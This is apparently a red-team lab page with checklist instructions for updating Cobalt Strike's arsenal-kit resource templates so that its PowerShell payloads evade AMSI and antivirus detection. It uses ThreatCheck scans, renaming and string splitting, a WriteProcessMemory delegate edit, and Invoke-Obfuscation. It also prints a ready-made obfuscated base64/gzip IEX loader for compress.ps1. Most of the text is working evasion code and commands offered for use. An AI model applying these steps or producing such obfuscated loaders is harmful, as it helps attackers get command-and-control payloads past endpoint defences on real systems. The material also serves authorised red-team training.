> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/cobalt-strike/setup/update-resource-kit.md).

# Update Resource Kit

{% stepper %}
{% step %}

### Copy Resource Templates

* [ ] `cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/resource`
* [ ] Run build.sh to copy the resource templates. `./build.sh /mnt/c/Tools/cobaltstrike/custom-resources`
  {% endstep %}

{% step %}

### Scan \*.ps1 Files

* [ ] `C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f .\template.x64.ps1 -e AMSI -t Script`
* [ ] open them in a tool, such as PowerShell ISE or VSCode, and find the offending portion(s) manually. To bypass the detections, we can do things like renaming functions and variables, refactoring to break it down into multiple sub-steps, or using classical PowerShell obfuscation techniques. My suggestion is to start with the simple ones (saving the changes and re-scanning with ThreatCheck as you go) and move up to move complex changes if needed.
  {% endstep %}

{% step %}

### Edit Compress.ps1

* [ ] This will not be detected by ThreatCheck do to how submissions are made to AMSI, but when you go to run a web payload you will get blocked due to this file. Try using obfuscation.
* [ ] `ipmo C:\Tools\Invoke-Obfuscation\Invoke-Obfuscation.psd1`
* [ ] `Invoke-Obfuscation`
* [ ] `Invoke-Obfuscation> SET SCRIPTBLOCK '$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("%%DATA%%"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'`
* [ ] Simply overwrite the content in `compress.ps1`, save the changes, then host and test a new payload.
  {% endstep %}

{% step %}

### Reload

* [ ] load resources.cna from `C:\Tools\cobaltstrike\custom-resources`
  {% endstep %}
  {% endstepper %}

\[ ] If not already open from the previous task, launch Ubuntu WSL from the Windows Terminal. \[ ] Change the working directory. +++cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/resource+++ \[ ] Run build.sh to copy the resource templates. +++./build.sh /mnt/c/Tools/cobaltstrike/custom-resources+++ \[ ] If not already open from the previous task, launch Visual Studio Code. \[ ] Go to File > Open Folder and select C:\Tools\cobaltstrike\custom-resources. \[ ] Select template.x64.ps1. \[ ] Scroll to line 5 and replace `.Equals('System.dll')` with `.Equals('Sys'+'tem.dll')`. \[ ] Scroll to line 32 and replace it with: `powershell $var\_wpm = \[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll WriteProcessMemory), (func\_get\_delegate\_type @(\[IntPtr], \[IntPtr], \[Byte\[]], \[UInt32], \[IntPtr]) (\[Bool]))) $ok = $var\_wpm.Invoke(\[IntPtr]::New(-1), $var\_buffer, $v\_code, $v\_code.Count, \[IntPtr]::Zero)` \[ ] Save the changes (File > Save). \[ ] Select compress.ps1. \[ ] Use Invoke-Obfuscation to create a unique obfuscated version, or try the following: `PowerShell SET-itEm VarIABLe:WyizE (\[tyPe]('conVE'+'Rt') ) ; seT-variAbLe 0eXs ( \[tYpe]('iO.'+'COmp'+'Re'+'S'+'SiON.C'+'oM'+'P'+'ResSIonM'+'oDE')) ; ${s}=nEW-o`Bj`eCt IO.`MemO`Ry`St`REAM(, (VAriABle wYIze -val )::"FR`omB`AsE64s`TriNG"("%%DATA%%"));i`EX (ne`w-`o`BJECT i`o.sTr`EAmRe`ADEr(NEw-`O`BJe`CT IO.CO`mPrESSi`oN.`gzI`pS`Tream(${s}, ( vAriable 0ExS).vALUE::"Dec`om`Press")))."RE`AdT`OEnd"();` \[ ] Save the changes (File > Save). \[ ] Open the Cobalt Strike client and load resources.cna from C:\Tools\cobaltstrike\custom-resources.
